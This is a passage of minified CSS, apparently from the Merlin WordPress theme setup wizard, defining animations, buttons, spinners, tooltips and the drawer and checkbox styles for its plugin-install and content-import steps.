0, 0, 0, 1, 0, 0, 0, 0, 1); transform: matrix3d(0.718, 0, 0, 0, 0, 0.743, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 5.51% { -webkit-transform: matrix3d(0.762, 0, 0, 0, 0, 0.794, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); transform: matrix3d(0.762, 0, 0, 0, 0, 0.794, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 9.01% { -webkit-transform: matrix3d(0.888, 0, 0, 0, 0, 0.94, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); transform: matrix3d(0.888, 0, 0, 0, 0, 0.94, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 11.01% { -webkit-transform: matrix3d(0.941, 0, 0, 0, 0, 0.998, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); transform: matrix3d(0.941, 0, 0, 0, 0, 0.998, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 13.51% { -webkit-transform: matrix3d(0.989, 0, 0, 0, 0, 1.044, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); transform: matrix3d(0.989, 0, 0, 0, 0, 1.044, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 16.52% { -webkit-transform: matrix3d(1.024, 0, 0, 0, 0, 1.067, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); transform: matrix3d(1.024, 0, 0, 0, 0, 1.067, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 17.92% { -webkit-transform: matrix3d(1.033, 0, 0, 0, 0, 1.07, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); transform: matrix3d(1.033, 0, 0, 0, 0, 1.07, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 21.92% { -webkit-transform: matrix3d(1.042, 0, 0, 0, 0, 1.057, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); transform: matrix3d(1.042, 0, 0, 0, 0, 1.057, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 29.03% { -webkit-transform: matrix3d(1.028, 0, 0, 0, 0, 1.016, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); transform: matrix3d(1.028, 0, 0, 0, 0, 1.016, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 34.63% { -webkit-transform: matrix3d(1.013, 0, 0, 0, 0, 0.997, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); transform: matrix3d(1.013, 0, 0, 0, 0, 0.997, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 36.24% { -webkit-transform: matrix3d(1.009, 0, 0, 0, 0, 0.994, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); transform: matrix3d(1.009, 0, 0, 0, 0, 0.994, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 40.14% { -webkit-transform: matrix3d(1.003, 0, 0, 0, 0, 0.992, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); transform: matrix3d(1.003, 0, 0, 0, 0, 0.992, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 50.55% { -webkit-transform: matrix3d(0.997, 0, 0, 0, 0, 0.998, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); transform: matrix3d(0.997, 0, 0, 0, 0, 0.998, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 62.36% { -webkit-transform: matrix3d(0.999, 0, 0, 0, 0, 1.001, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); transform: matrix3d(0.999, 0, 0, 0, 0, 1.001, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 79.08% { -webkit-transform: matrix3d(1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); transform: matrix3d(1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 84.68% { -webkit-transform: matrix3d(1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); transform: matrix3d(1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 100% { -webkit-transform: matrix3d(1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); transform: matrix3d(1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } } @-webkit-keyframes small_pulse { 0% { -webkit-transform: scale(1); transform: scale(1); } 15% { -webkit-transform: scale(0.95); transform: scale(0.95); } 100% { -webkit-transform: scale(1); transform: scale(1); } } @keyframes small_pulse { 0% { -webkit-transform: scale(1); transform: scale(1); } 15% { -webkit-transform: scale(0.95); transform: scale(0.95); } 100% { -webkit-transform: scale(1); transform: scale(1); } } @-webkit-keyframes errorShake { 0% { -webkit-transform: translate(8px); transform: translate(8px); } 20% { -webkit-transform: translate(-8px); transform: translate(-8px); } 40% { -webkit-transform: translate(4px); transform: translate(4px); } 60% { -webkit-transform: translate(-4px); transform: translate(-4px); } 80% { -webkit-transform: translate(2px); transform: translate(2px); } 100% { -webkit-transform: translate(0px); transform: translate(0px); } } @keyframes errorShake { 0% { -webkit-transform: translate(8px); transform: translate(8px); } 20% { -webkit-transform: translate(-8px); transform: translate(-8px); } 40% { -webkit-transform: translate(4px); transform: translate(4px); } 60% { -webkit-transform: translate(-4px); transform: translate(-4px); } 80% { -webkit-transform: translate(2px); transform: translate(2px); } 100% { -webkit-transform: translate(0px); transform: translate(0px); } } .merlin__button { background: #fff; border: 0; border-radius: 4px; color: #7d8183; cursor: pointer; display: inline-block; font-size: 15px; font-weight: 600; overflow: hidden; padding: 8px 18px 9px; position: relative; text-align: center; text-decoration: none; -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); -webkit-transition: color 150ms cubic-bezier(0.694, 0, 0.335, 1), background 150ms cubic-bezier(0.694, 0, 0.335, 1); transition: color 150ms cubic-bezier(0.694, 0, 0.335, 1), background 150ms cubic-bezier(0.694, 0, 0.335, 1); } @media screen and (prefers-reduced-motion: reduce) { .merlin__button { -webkit-transition: color 50ms ease-in-out, background 50ms ease-in-out; transition: color 50ms ease-in-out, background 50ms ease-in-out; } } .merlin__button:hover { background: #f1f1f1; } .merlin__button:hover .chevron::after, .merlin__button:hover .chevron::before { background: #0073aa; } .merlin__button:active { background: #ebebeb; } .merlin__button span { display: inline-block; } .merlin__button--colorchange { -webkit-animation: colorchange 800ms infinite alternate; animation: colorchange 800ms infinite alternate; } .merlin__button--fullwidth { display: block; font-size: 14px; margin: 0 auto; padding-bottom: 10px; padding-top: 9px; width: 60%; z-index: 999; } .merlin__button--next, .merlin__button--skip { bottom: 12px; position: absolute; } .merlin__button--next { color: #0073aa; right: 12px; } .merlin__button--next:hover, .merlin__button--next:active { color: #005d8a; } .merlin__button--skip { left: 12px; } .merlin__button--skip:hover, .merlin__button--skip:active { color: #444; } .merlin__button--blue { background: #0073aa; color: #fff; } .merlin__button--blue:hover, .merlin__button--blue:active { background: #005d8a; color: #fff; } .merlin__button--knockout { background: transparent; color: #7d8183; font-size: 14px; font-weight: 500; margin-left: -10px; padding-right: 25px; padding-top: 10px; -webkit-transition: color 150ms ease; transition: color 150ms ease; } .merlin__button--knockout:hover, .merlin__button--knockout:active { background: transparent; color: #0073aa; } .merlin__button--no-chevron { margin-left: 0; margin-top: 3px; padding-right: 18px; } .merlin__button--loading:hover, .merlin__button--loading:active { background: transparent; } .merlin__button--loading .merlin__button--loading__text { -webkit-transition: opacity 400ms cubic-bezier(0.18, 1, 0.21, 1) 400ms, -webkit-filter 4100ms cubic-bezier(0.18, 1, 0.21, 1); transition: opacity 400ms cubic-bezier(0.18, 1, 0.21, 1) 400ms, -webkit-filter 4100ms cubic-bezier(0.18, 1, 0.21, 1); transition: opacity 400ms cubic-bezier(0.18, 1, 0.21, 1) 400ms, filter 4100ms cubic-bezier(0.18, 1, 0.21, 1); transition: opacity 400ms cubic-bezier(0.18, 1, 0.21, 1) 400ms, filter 4100ms cubic-bezier(0.18, 1, 0.21, 1), -webkit-filter 4100ms cubic-bezier(0.18, 1, 0.21, 1); } .merlin__button--loading__spinner { left: 50%; margin-left: -12px; margin-top: -11px; opacity: 0; position: absolute; top: 50%; -webkit-transform: scale(0); -ms-transform: scale(0); transform: scale(0); -webkit-transition: opacity 100ms ease, -webkit-transform 600ms cubic-bezier(0.18, 1, 0.21, 1) 200ms; transition: opacity 100ms ease, -webkit-transform 600ms cubic-bezier(0.18, 1, 0.21, 1) 200ms; transition: opacity 100ms ease, transform 600ms cubic-bezier(0.18, 1, 0.21, 1) 200ms; transition: opacity 100ms ease, transform 600ms cubic-bezier(0.18, 1, 0.21, 1) 200ms, -webkit-transform 600ms cubic-bezier(0.18, 1, 0.21, 1) 200ms; } .merlin__button--loading .merlin__button--loading__text { opacity: 0; -webkit-filter: blur(100px); filter: blur(100px); } .merlin__button--loading .merlin__button--loading__spinner { opacity: 1; -webkit-transform: scale(1); -ms-transform: scale(1); transform: scale(1); } .merlin__button--external::after { content: "âž"; display: inline-block !important; font-size: 1em; margin-top: 0.05em; opacity: 0; padding-left: 0.25em; position: absolute; -webkit-transform: translateX(-5px); -ms-transform: translateX(-5px); transform: translateX(-5px); -webkit-transition: opacity 0.2s cubic-bezier(0, 0.25, 0.08, 1), -webkit-transform 0.2s cubic-bezier(0, 0.25, 0.08, 1); transition: opacity 0.2s cubic-bezier(0, 0.25, 0.08, 1), -webkit-transform 0.2s cubic-bezier(0, 0.25, 0.08, 1); transition: transform 0.2s cubic-bezier(0, 0.25, 0.08, 1), opacity 0.2s cubic-bezier(0, 0.25, 0.08, 1); transition: transform 0.2s cubic-bezier(0, 0.25, 0.08, 1), opacity 0.2s cubic-bezier(0, 0.25, 0.08, 1), -webkit-transform 0.2s cubic-bezier(0, 0.25, 0.08, 1); } .merlin__button--external:hover::after { opacity: 1; -webkit-transform: translateX(0); -ms-transform: translateX(0); transform: translateX(0); } #skip { display: inline-block; opacity: 1; visibility: visible; z-index: 1; } #close { display: none; opacity: 0; visibility: hidden; z-index: -1; } @-webkit-keyframes colorchange { 0% { background: #fff; } 100% { background: #f1f1f1; } } @keyframes colorchange { 0% { background: #fff; } 100% { background: #f1f1f1; } } .chevron { display: block; position: absolute; right: 10px; top: 58%; -webkit-transition: top 900ms cubic-bezier(0.86, 0, 0.07, 1), background 150ms cubic-bezier(0.694, 0, 0.335, 1), -webkit-transform 900ms cubic-bezier(0.86, 0, 0.07, 1), -webkit-transform-origin 900ms cubic-bezier(0.86, 0, 0.07, 1); transition: top 900ms cubic-bezier(0.86, 0, 0.07, 1), background 150ms cubic-bezier(0.694, 0, 0.335, 1), -webkit-transform 900ms cubic-bezier(0.86, 0, 0.07, 1), -webkit-transform-origin 900ms cubic-bezier(0.86, 0, 0.07, 1); transition: transform 900ms cubic-bezier(0.86, 0, 0.07, 1), transform-origin 900ms cubic-bezier(0.86, 0, 0.07, 1), top 900ms cubic-bezier(0.86, 0, 0.07, 1), background 150ms cubic-bezier(0.694, 0, 0.335, 1); transition: transform 900ms cubic-bezier(0.86, 0, 0.07, 1), transform-origin 900ms cubic-bezier(0.86, 0, 0.07, 1), top 900ms cubic-bezier(0.86, 0, 0.07, 1), background 150ms cubic-bezier(0.694, 0, 0.335, 1), -webkit-transform 900ms cubic-bezier(0.86, 0, 0.07, 1), -webkit-transform-origin 900ms cubic-bezier(0.86, 0, 0.07, 1), -ms-transform-origin 900ms cubic-bezier(0.86, 0, 0.07, 1); z-index: 1; -webkit-backface-visibility: hidden; backface-visibility: hidden; } .chevron::after, .chevron::before { background: #7d8183; border-radius: 2px; content: " "; display: block; height: 2px; position: absolute; top: 50%; -webkit-transition: top 900ms cubic-bezier(0.86, 0, 0.07, 1), background 150ms cubic-bezier(0.694, 0, 0.335, 1), -webkit-transform 900ms cubic-bezier(0.86, 0, 0.07, 1), -webkit-transform-origin 900ms cubic-bezier(0.86, 0, 0.07, 1); transition: top 900ms cubic-bezier(0.86, 0, 0.07, 1), background 150ms cubic-bezier(0.694, 0, 0.335, 1), -webkit-transform 900ms cubic-bezier(0.86, 0, 0.07, 1), -webkit-transform-origin 900ms cubic-bezier(0.86, 0, 0.07, 1); transition: transform 900ms cubic-bezier(0.86, 0, 0.07, 1), transform-origin 900ms cubic-bezier(0.86, 0, 0.07, 1), top 900ms cubic-bezier(0.86, 0, 0.07, 1), background 150ms cubic-bezier(0.694, 0, 0.335, 1); transition: transform 900ms cubic-bezier(0.86, 0, 0.07, 1), transform-origin 900ms cubic-bezier(0.86, 0, 0.07, 1), top 900ms cubic-bezier(0.86, 0, 0.07, 1), background 150ms cubic-bezier(0.694, 0, 0.335, 1), -webkit-transform 900ms cubic-bezier(0.86, 0, 0.07, 1), -webkit-transform-origin 900ms cubic-bezier(0.86, 0, 0.07, 1), -ms-transform-origin 900ms cubic-bezier(0.86, 0, 0.07, 1); width: 10px; z-index: 1; -webkit-backface-visibility: hidden; backface-visibility: hidden; } .chevron::before { right: 50%; -webkit-transform: rotate(40deg) scaleY(1); -ms-transform: rotate(40deg) scaleY(1); transform: rotate(40deg) scaleY(1); -webkit-transform-origin: 100% 100%; -ms-transform-origin: 100% 100%; transform-origin: 100% 100%; } .chevron::after { left: 50%; -webkit-transform: rotate(-40deg) scaleY(1); -ms-transform: rotate(-40deg) scaleY(1); transform: rotate(-40deg) scaleY(1); -webkit-transform-origin: 0 100%; -ms-transform-origin: 0 100%; transform-origin: 0 100%; } .merlin__drawer--open .chevron { top: 44%; } .merlin__drawer--open .chevron::before { -webkit-transform: rotate(-40deg) scaleY(1); -ms-transform: rotate(-40deg) scaleY(1); transform: rotate(-40deg) scaleY(1); -webkit-transform-origin: 100% 0; -ms-transform-origin: 100% 0; transform-origin: 100% 0; } .merlin__drawer--open .chevron::after { -webkit-transform: rotate(40deg) scaleY(1); -ms-transform: rotate(40deg) scaleY(1); transform: rotate(40deg) scaleY(1); -webkit-transform-origin: 0 0; -ms-transform-origin: 0 0; transform-origin: 0 0; } .merlin-spinner { -webkit-transition: opacity 300ms cubic-bezier(0.694, 0, 0.335, 1) 50ms; transition: opacity 300ms cubic-bezier(0.694, 0, 0.335, 1) 50ms; width: 23px; } .merlin-spinner:before { content: ""; display: block; padding-top: 100%; } .exiting .merlin-spinner { opacity: 0; } .merlin-spinner__svg { -webkit-animation: spinnerRotate 2s linear infinite; animation: spinnerRotate 2s linear infinite; bottom: 0; height: 100%; left: 0; margin: auto; position: absolute; right: 0; top: 0; -webkit-transform-origin: center center; -ms-transform-origin: center center; transform-origin: center center; width: 100%; } .merlin-spinner__svg .path { -webkit-animation: spinnerDash 1.5s ease-in-out infinite, spinnerColor 6s ease-in-out infinite; animation: spinnerDash 1.5s ease-in-out infinite, spinnerColor 6s ease-in-out infinite; stroke-dasharray: 1,200; stroke-dashoffset: 0; stroke-linecap: round; } .merlin__select-spinner { display: none; height: 26px; left: auto; right: -29px; top: 0; width: 26px; } @-webkit-keyframes spinnerRotate { 100% { -webkit-transform: rotate(360deg); transform: rotate(360deg); } } @keyframes spinnerRotate { 100% { -webkit-transform: rotate(360deg); transform: rotate(360deg); } } @-webkit-keyframes spinnerDash { 0% { stroke-dasharray: 1,200; stroke-dashoffset: 0; } 50% { stroke-dasharray: 89,200; stroke-dashoffset: -35px; } 100% { stroke-dasharray: 89,200; stroke-dashoffset: -124px; } } @keyframes spinnerDash { 0% { stroke-dasharray: 1,200; stroke-dashoffset: 0; } 50% { stroke-dasharray: 89,200; stroke-dashoffset: -35px; } 100% { stroke-dasharray: 89,200; stroke-dashoffset: -124px; } } @-webkit-keyframes spinnerColor { 100%, 0% { stroke: #0073aa; } 40% { stroke: #00ace1; } 66% { stroke: #0073aa; } 80%, 90% { stroke: #00ace1; } } @keyframes spinnerColor { 100%, 0% { stroke: #0073aa; } 40% { stroke: #00ace1; } 66% { stroke: #0073aa; } 80%, 90% { stroke: #00ace1; } } [class*="hint--"] { display: inline-block; position: relative; } [class*="hint--"]:before, [class*="hint--"]:after { font-weight: normal; opacity: 0; pointer-events: none; position: absolute; text-transform: none; -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); -webkit-transition: 100ms ease; transition: 100ms ease; -webkit-transition-delay: 0ms; transition-delay: 0ms; visibility: hidden; z-index: 1000000; } [class*="hint--"]:hover:before, [class*="hint--"]:hover:after { opacity: 1; visibility: visible; } [class*="hint--"]:before { background: transparent; border: 6px solid transparent; content: ""; position: absolute; z-index: 1000001; } [class*="hint--"]:after { background: #383838; border-radius: 2px; -webkit-box-shadow: 3px 3px 6px rgba(0, 0, 0, 0.1); box-shadow: 3px 3px 6px rgba(0, 0, 0, 0.1); color: #fff; font-size: 11px; line-height: 11px; padding: 5px 8px 6px 9px; white-space: nowrap; } [class*="hint--"][aria-label]:after { content: attr(aria-label); } [class*="hint--"][data-hint]:after { content: attr(data-hint); } [aria-label=""]:before, [aria-label=""]:after, [data-hint=""]:before, [data-hint=""]:after { display: none !important; } .hint--top:before { border-top-color: #383838; margin-bottom: -11px; } .hint--top:before, .hint--top:after { bottom: 103%; left: 50%; } .hint--top:before { left: calc(50% - 6px); } .hint--top:after { -webkit-transform: translateX(-50%); -ms-transform: translateX(-50%); transform: translateX(-50%); } .hint--top:hover:after { -webkit-transform: translateX(-50%); -ms-transform: translateX(-50%); transform: translateX(-50%); } .hint--right:before { border-right-color: #383838; margin-bottom: -6px; margin-left: -11px; } .hint--right:after { margin-bottom: -14px; } .hint--right:before, .hint--right:after { bottom: 50%; left: 100%; } .hint--right:hover:before { -webkit-transform: translateX(8px); -ms-transform: translateX(8px); transform: translateX(8px); } .hint--right:hover:after { -webkit-transform: translateX(8px); -ms-transform: translateX(8px); transform: translateX(8px); } .return-to-dashboard { color: #7d8183; display: block; font-size: 13px; margin-top: 1em; padding: 1em; padding-bottom: 0; text-align: center; text-decoration: none; -webkit-transition: color 150ms ease, opacity 300ms cubic-bezier(0.694, 0, 0.335, 1) 150ms; transition: color 150ms ease, opacity 300ms cubic-bezier(0.694, 0, 0.335, 1) 150ms; } @media screen and (prefers-reduced-motion: reduce) { .return-to-dashboard { opacity: 1 !important; } } .merlin__body--welcome .return-to-dashboard { opacity: 0; } .merlin__body--welcome.loaded .return-to-dashboard { opacity: 1; } .return-to-dashboard.ignore { margin-top: 0.3em; padding: 0; } body:not(.merlin__body--welcome) .return-to-dashboard.ignore { opacity: 0; pointer-events: none; } .return-to-dashboard:hover { color: #0073aa; } .merlin__drawer { margin: 0; max-height: 0; opacity: 0; overflow: hidden; pointer-events: none; -webkit-transition: padding 600ms cubic-bezier(0.75, 0, 0.25, 1), opacity 300ms linear 600ms, max-height 700ms cubic-bezier(0.33, 0, 0.2, 1) 0ms, -webkit-transform 600ms cubic-bezier(0.75, 0, 0.25, 1); transition: padding 600ms cubic-bezier(0.75, 0, 0.25, 1), opacity 300ms linear 600ms, max-height 700ms cubic-bezier(0.33, 0, 0.2, 1) 0ms, -webkit-transform 600ms cubic-bezier(0.75, 0, 0.25, 1); transition: transform 600ms cubic-bezier(0.75, 0, 0.25, 1), padding 600ms cubic-bezier(0.75, 0, 0.25, 1), opacity 300ms linear 600ms, max-height 700ms cubic-bezier(0.33, 0, 0.2, 1) 0ms; transition: transform 600ms cubic-bezier(0.75, 0, 0.25, 1), padding 600ms cubic-bezier(0.75, 0, 0.25, 1), opacity 300ms linear 600ms, max-height 700ms cubic-bezier(0.33, 0, 0.2, 1) 0ms, -webkit-transform 600ms cubic-bezier(0.75, 0, 0.25, 1); } .merlin__drawer li { margin: 0; opacity: 0; padding: 4px 0; position: relative; text-align: center; -webkit-transform: translate3d(0, -15px, 0); transform: translate3d(0, -15px, 0); -webkit-transition: 0.25s ease; transition: 0.25s ease; } .merlin__drawer li:last-child { padding-bottom: 0; } .merlin__drawer li:nth-of-type(10) { -webkit-transition-delay: 0.2s; transition-delay: 0.2s; } .merlin__drawer li:nth-of-type(9) { -webkit-transition-delay: 0.18s; transition-delay: 0.18s; } .merlin__drawer li:nth-of-type(8) { -webkit-transition-delay: 0.16s; transition-delay: 0.16s; } .merlin__drawer li:nth-of-type(7) { -webkit-transition-delay: 0.14s; transition-delay: 0.14s; } .merlin__drawer li:nth-of-type(6) { -webkit-transition-delay: 0.12s; transition-delay: 0.12s; } .merlin__drawer li:nth-of-type(5) { -webkit-transition-delay: 0.1s; transition-delay: 0.1s; } .merlin__drawer li:nth-of-type(4) { -webkit-transition-delay: 0.08s; transition-delay: 0.08s; } .merlin__drawer li:nth-of-type(3) { -webkit-transition-delay: 0.06s; transition-delay: 0.06s; } .merlin__drawer li:nth-of-type(2) { -webkit-transition-delay: 0.04s; transition-delay: 0.04s; } .merlin__drawer li:nth-of-type(1) { -webkit-transition-delay: 0.02s; transition-delay: 0.02s; } .merlin__drawer--open .merlin__drawer { max-height: 400px; opacity: 1; pointer-events: inherit; -webkit-transform: translateY(0%); -ms-transform: translateY(0%); transform: translateY(0%); -webkit-transition: padding 600ms cubic-bezier(0.75, 0, 0.25, 1), opacity 300ms linear 200ms, max-height 900ms cubic-bezier(0.33, 0, 0.2, 1) 100ms, -webkit-transform 600ms cubic-bezier(0.75, 0, 0.25, 1); transition: padding 600ms cubic-bezier(0.75, 0, 0.25, 1), opacity 300ms linear 200ms, max-height 900ms cubic-bezier(0.33, 0, 0.2, 1) 100ms, -webkit-transform 600ms cubic-bezier(0.75, 0, 0.25, 1); transition: transform 600ms cubic-bezier(0.75, 0, 0.25, 1), padding 600ms cubic-bezier(0.75, 0, 0.25, 1), opacity 300ms linear 200ms, max-height 900ms cubic-bezier(0.33, 0, 0.2, 1) 100ms; transition: transform 600ms cubic-bezier(0.75, 0, 0.25, 1), padding 600ms cubic-bezier(0.75, 0, 0.25, 1), opacity 300ms linear 200ms, max-height 900ms cubic-bezier(0.33, 0, 0.2, 1) 100ms, -webkit-transform 600ms cubic-bezier(0.75, 0, 0.25, 1); } .merlin__drawer--open .merlin__drawer li { opacity: 1; -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); -webkit-transition: 0.4s ease; transition: 0.4s ease; } .merlin__drawer--open .merlin__drawer li:nth-of-type(1) { -webkit-transition-delay: 0.15s; transition-delay: 0.15s; } .merlin__drawer--open .merlin__drawer li:nth-of-type(2) { -webkit-transition-delay: 0.3s; transition-delay: 0.3s; } .merlin__drawer--open .merlin__drawer li:nth-of-type(3) { -webkit-transition-delay: 0.45s; transition-delay: 0.45s; } .merlin__drawer--open .merlin__drawer li:nth-of-type(4) { -webkit-transition-delay: 0.6s; transition-delay: 0.6s; } .merlin__drawer--open .merlin__drawer li:nth-of-type(5) { -webkit-transition-delay: 0.75s; transition-delay: 0.75s; } .merlin__drawer--open .merlin__drawer li:nth-of-type(6) { -webkit-transition-delay: 0.9s; transition-delay: 0.9s; } .merlin__drawer--open .merlin__drawer li:nth-of-type(7) { -webkit-transition-delay: 1.05s; transition-delay: 1.05s; } .merlin__drawer--open .merlin__drawer li:nth-of-type(8) { -webkit-transition-delay: 1.2s; transition-delay: 1.2s; } .merlin__drawer--open .merlin__drawer li:nth-of-type(9) { -webkit-transition-delay: 1.35s; transition-delay: 1.35s; } .merlin__drawer--open .merlin__drawer li:nth-of-type(10) { -webkit-transition-delay: 1.5s; transition-delay: 1.5s; } .merlin__drawer--open .merlin__button--next { -webkit-animation: colorchange 1s infinite alternate 1000ms; animation: colorchange 1s infinite alternate 1000ms; } .merlin__drawer--open .merlin__button--loading { -webkit-animation: none; animation: none; } .merlin__drawer--open #skip { display: none; opacity: 0; visibility: hidden; z-index: -1; } .merlin__drawer--open #close { display: inline-block; opacity: 1; visibility: visible; z-index: 1; } .merlin__drawer--import-content { padding-top: 3px; } .merlin__drawer--import-content li { color: #7d8183; padding: 2px 50px; text-align: left; } .merlin__drawer--import-content li:hover span { color: #0073aa; } .merlin__drawer--import-content label { cursor: pointer; display: inline-block; position: relative; width: 100%; } .merlin__drawer--import-content label span { -webkit-transition: color 100ms; transition: color 100ms; } .merlin__drawer--import-content label i { background-color: transparent; border: 2px solid #b2b7ba; border-radius: 50%; display: inline-block; float: right; height: 13px; margin-top: 3px; position: relative; text-align: left; -webkit-transform-origin: center; -ms-transform-origin: center; transform-origin: center; -webkit-transition: border-color 100ms, background-color 100ms, -webkit-transform 350ms cubic-bezier(0.78, -1.22, 0.17, 1.89); transition: border-color 100ms, background-color 100ms, -webkit-transform 350ms cubic-bezier(0.78, -1.22, 0.17, 1.89); transition: border-color 100ms, background-color 100ms, transform 350ms cubic-bezier(0.78, -1.22, 0.17, 1.89); transition: border-color 100ms, background-color 100ms, transform 350ms cubic-bezier(0.78, -1.22, 0.17, 1.89), -webkit-transform 350ms cubic-bezier(0.78, -1.22, 0.17, 1.89); width: 13px; } .merlin__drawer--import-content label i:before { background: #0073aa; border-radius: 2px; content: ""; height: 2px; left: 0.2em; position: absolute; top: 0.4em; -webkit-transform: rotate(45deg); -ms-transform: rotate(45deg); transform: rotate(45deg); -webkit-transform-origin: 0 0; -ms-transform-origin: 0 0; transform-origin: 0 0; -webkit-transition: width 50ms ease 50ms; transition: width 50ms ease 50ms; width: 0; } .merlin__drawer--import-content label i:after { background: #0073aa; border-radius: 2px; content: ""; height: 2px; left: 4px; position: absolute; top: 0.67em; -webkit-transform: rotate(310deg); -ms-transform: rotate(310deg); transform: rotate(310deg); -webkit-transform-origin: 0 0; -ms-transform-origin: 0 0; transform-origin: 0 0; -webkit-transition: width 50ms ease; transition: width 50ms ease; width: 0; } .merlin__drawer--import-content label:hover i { border-color: #0073aa; } .checkbox { display: none !important; } .checkbox:checked + label.installing i { -webkit-animation: colorchangeInstalling 800ms infinite alternate; animation: colorchangeInstalling 800ms infinite alternate; background-color: #ffb900; border-color: #ffb900; -webkit-transition: background-color 400ms cubic-bezier(0.18, 1, 0.21, 1), border-color 400ms cubic-bezier(0.18, 1, 0.21, 1); transition: background-color 400ms cubic-bezier(0.18, 1, 0.21, 1), border-color 400ms cubic-bezier(0.18, 1, 0.21, 1); } .checkbox:checked + label.success i { -webkit-animation: popInSuccess 500ms forwards; animation: popInSuccess 500ms forwards; background-color: #46b450; border-color: #46b450; -webkit-transition: background-color 400ms cubic-bezier(0.18, 1, 0.21, 1), border-color 400ms cubic-bezier(0.18, 1, 0.21, 1); transition: background-color 400ms cubic-bezier(0.18, 1, 0.21, 1), border-color 400ms cubic-bezier(0.18, 1, 0.21, 1); -webkit-animation-fill-mode: both; animation-fill-mode: both; } @media screen and (prefers-reduced-motion: reduce) { .checkbox:checked + label.success i { -webkit-animation: none; animation: none; background: #46b450; } } .checkbox:checked + label.error i { background-color: #d54e21; border-color: #d54e21; -webkit-transition: background-color 500ms cubic-bezier(0.18, 1, 0.21, 1) 220ms, border-color 400ms cubic-bezier(0.18, 1, 0.21, 1) 220ms; transition: background-color 500ms cubic-bezier(0.18, 1, 0.21, 1) 220ms, border-color 400ms cubic-bezier(0.18, 1, 0.21, 1) 220ms; } .checkbox:checked + label i { background-color: #0073aa; border-color: #0073aa; -webkit-transform: scale(1.2); -ms-transform: scale(1.2); transform: scale(1.2); } .checkbox:checked + label i:after { background: #fff; -webkit-transition: width 50ms ease 100ms; transition: width 50ms ease 100ms; width: 9px; } .checkbox:checked + label i:before { background: #fff; -webkit-transition: width 50ms ease 100ms; transition: width 50ms ease 100ms; width: 5px; } @-webkit-keyframes colorchangeInstalling { 0% { background: #46b450; border-color: #46b450; } 100% { background: #8dd394; border-color: #8dd394; } } @keyframes colorchangeInstalling { 0% { background: #46b450; border-color: #46b450; } 100% { background: #8dd394; border-color: #8dd394; } } @-webkit-keyframes popInSuccess { 0% { background-color: #46b450; border-color: #46b450; -webkit-transform: scale(1.2); transform: scale(1.2); } 45% { -webkit-transform: scale(1.4); transform: scale(1.4); } 65% { -webkit-transform: scale(1); transform: scale(1); } 85% { -webkit-transform: scale(1.3); transform: scale(1.3); } 95%, 100% { background-color: #46b450; border-color: #46b450; -webkit-transform: scale(1.2); transform: scale(1.2); } } @keyframes popInSuccess { 0% { background-color: #46b450; border-color: #46b450; -webkit-transform: scale(1.2); transform: scale(1.2); } 45% { -webkit-transform: scale(1.4); transform: scale(1.4); } 65% { -webkit-transform: scale(1); transform: scale(1); } 85% { -webkit-transform: scale(1.3); transform: scale(1.3); } 95%, 100% { background-color: #46b450; border-color: #46b450; -webkit-transform: scale(1.2); transform: scale(1.2); } } .merlin__drawer--install-plugins { overflow: visible; text-align: left; } .merlin__drawer--open .merlin__drawer--install-plugins { padding-bottom: 1px; } .merlin__drawer--install-plugins li { color: #7d8183; padding: 2px 30px; text-align: left; } .merlin__drawer--install-plugins li:hover span { color: #0073aa; } .merlin__drawer--install-plugins li .merlin__status-class { display: none; } .merlin__drawer--install-plugins li .badge { background: #e6f3fa; border-radius: 3px; color: #0073aa !important; font-size: 11px; font-weight: 500; margin-left: 1px; padding: 3px 5px; position: relative; text-transform: uppercase; top: -1px; } .merlin__drawer--install-plugins label { cursor: pointer; display: inline-block; position: relative; width: 100%; } .merlin__drawer--install-plugins label span { -webkit-transition: color 100ms; transition: color 100ms; } .merlin__drawer--install-plugins label i { background-color: transparent; border: 2px solid #b2b7ba; border-radius: 50%; display: inline-block; float: right; height: 13px; margin-top: 3px; position: relative; text-align: left; -webkit-transform-origin: center; -ms-transform-origin: center; transform-origin: center; -webkit-transition: border-color 100ms, background-color 100ms, -webkit-transform 350ms cubic-bezier(0.78, -1.22, 0.17, 1.89); transition: border-color 100ms, background-color 100ms, -webkit-transform 350ms cubic-bezier(0.78, -1.22, 0.17, 1.89); transition: border-color 100ms, background-color 100ms, transform 350ms cubic-bezier(0.78, -1.22, 0.17, 1.89); transition: border-color 100ms, background-color 100ms, transform 350ms cubic-bezier(0.78, -1.22, 